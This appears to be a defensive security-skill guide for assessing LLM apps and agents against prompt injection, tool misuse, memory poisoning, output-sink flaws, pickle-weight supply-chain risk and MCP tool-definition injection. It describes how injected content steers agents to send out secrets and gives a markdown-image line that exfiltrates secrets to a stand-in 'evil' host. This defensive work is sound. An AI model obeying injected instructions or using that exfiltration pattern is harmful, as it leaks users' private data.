secskills
secskills / core / securing-ai-systems

securing-ai-systems

core verified 2026-07-27

Assess and harden LLM applications and agentic systems against prompt injection, tool misuse, excessive agency, memory poisoning, RAG data leakage, and model supply-chain risk, mapped to the OWASP Top 10 for LLM and Agentic Applications. Use when reviewing an AI feature, agent, MCP server, or RAG pipeline for security, or when threat modeling an autonomous system.

$ /plugin install secskills-core

LLM applications break the assumption every other security control is built on: that instructions and data are separable. In an LLM, data is instructions. Every design that reads untrusted content and then acts has to be evaluated with that in mind, and no amount of prompt engineering fixes it.

When to Use

When NOT to Use

auditing-code-for-vulnerabilities, testing-web-applications, testing-apis. Most real AI-app breaches are still ordinary IDOR and SSRF.

or have authorization to test** — out of scope

Route to a Depth Skill

FocusSkill
Auditing an MCP server specifically — tool-definition injection, per-tool authorization, transport security, resource exposureauditing-mcp-servers

The MCP review here is one part of a wider AI threat model; reach for auditing-mcp-servers when the server implementation itself is the target.

The Core Rule

Treat every model output as untrusted user input, and every input the model reads as potentially adversarial instructions.

From that single rule, most of the correct architecture follows: never route model output into a sink without the same validation you would apply to a form field, and never grant the model an authority the least trusted content it will read should not have.

The Lethal Trifecta

An agent is exposed to serious compromise when it has all three of:

  1. Access to private data (files, DB, internal APIs, user context)
  2. Exposure to untrusted content (web pages, email, tickets, PRs, docs)
  3. A way to communicate externally (HTTP, email, writes to a shared surface)

Any two are usually manageable. All three means untrusted content can direct the agent to read secrets and send them out. When reviewing an agentic system, find whether the trifecta closes — and if it does, that is the finding, before any specific payload.

Breaking any one leg is a valid mitigation: scope the data, sanitize/isolate the content, or gate egress behind human approval.

Threat Areas

Prompt injection — direct and indirect

Indirect injection is the one that matters. Instructions embedded in a web page, PDF, email, repository file, calendar invite, or database row that the model retrieves and follows.

Review questions:

writable? (Public web, user uploads, third-party APIs, other users' data, ticket systems, and PR contents all qualify.)

concatenated into the same prompt?

real severity, not the injection itself.

Test payloads live in `references/ai-test-cases.md`. The important test is not
whether a payload works — it is what the payload can reach when it does.

Mitigations that work: capability restriction (the agent cannot do the harmful thing at all), human approval on consequential actions, egress allowlisting, separate untrusted content into a sub-agent with no tools and no secrets, dual-model patterns where a privileged planner never sees raw untrusted text.

Mitigations that do not work alone: "ignore instructions in the document" system prompts, input filtering for injection strings, output classifiers. These raise cost; they do not close the hole. Never accept a design whose only control is a prompt instruction.

Excessive agency and tool misuse

identity, or does it run with the agent's ambient credentials?

primitive by design; get_orders(user_id) is not.

confirmation itself resistant to injection (shown to a human with the real parameters, not summarized by the model)?

The confused deputy pattern is the dominant real-world AI vulnerability: the agent holds broad credentials and acts on behalf of a low-privilege user who can influence its instructions. Check the identity used at the tool boundary, not at the chat boundary.

RAG and memory

it. Tenant filters must be applied in the vector query, not in a post-retrieval filter the model can be persuaded to skip.

index is persistent indirect injection.

in future sessions, possibly for other users? Memory poisoning is durable and frequently unmonitored.

Output handling

Model output reaching a sink is ordinary vulnerability territory with an unusual source:

SinkRisk
innerHTML / markdown rendererXSS; also image tags used for exfil via URL parameters
SQL / shell / evalInjection with a fully attacker-influenceable string
File pathTraversal
HTTP request URLSSRF and data exfiltration channel
Downstream agent's promptInjection propagation across agents

Markdown image rendering deserves specific attention: ![](https://evil/?d=<secrets>) in model output is a zero-click exfiltration channel in most chat UIs. Check the renderer's allowed domains.

Model and data supply chain

# Never load pickle-based weights from an untrusted source
# .bin / .pt / .ckpt → arbitrary code execution on load. Prefer safetensors.
python3 -c "import safetensors; print('use this format')"
picklescan -p model.pt          # scan before any load
modelscan -p ./models/

# Verify provenance
# - model card, license, and origin org
# - hash pinning in the loader, not "latest"
# - dataset provenance for fine-tunes; poisoned training data is unrecoverable

Also review: unpinned model versions in production, third-party inference providers and what they retain, and fine-tuning datasets containing customer data (an extraction risk and often a compliance one).

MCP servers and tool definitions

server can inject instructions through its tool metadata, including into conversations about other tools.

tool definitions at runtime (rug-pull)?

model is persuaded to call every tool it exposes with attacker-chosen arguments?

another server's tools.

Review Workflow

1. Map:      inputs → model → tools/sinks. Draw it. Mark every trust boundary.
2. Classify: for each input, is it attacker-writable? For each tool, what is
             the worst-case invocation?
3. Trifecta: does private data + untrusted content + egress close?
4. Identity: at each tool call, whose authority is used, and is it checked
             server-side?
5. Test:     indirect injection through the real ingestion path, not the chat box
6. Blast:    for each successful injection, enumerate reachable impact
7. Fix:      prefer architectural constraints over prompt-level defenses

Test through the real path. An injection that works when pasted into chat but cannot reach the retrieval pipeline is a demo; one delivered through an indexed document is a vulnerability.

Rationalizations to Reject

control. Prompt-level defenses are probabilistic and bypassed routinely.

paraphrasing defeat pattern filters. Useful as depth, never as the control.

authorization boundary.

exfiltration. And "read-only" tools often reach further than assumed.

tickets, emails, PRs, vendor docs — which is exactly the injection vector.

and parameters. Approving a model-written summary of the action approves nothing.

attacker-influenced text.

Deliverable

invocation, gating

impact for each

References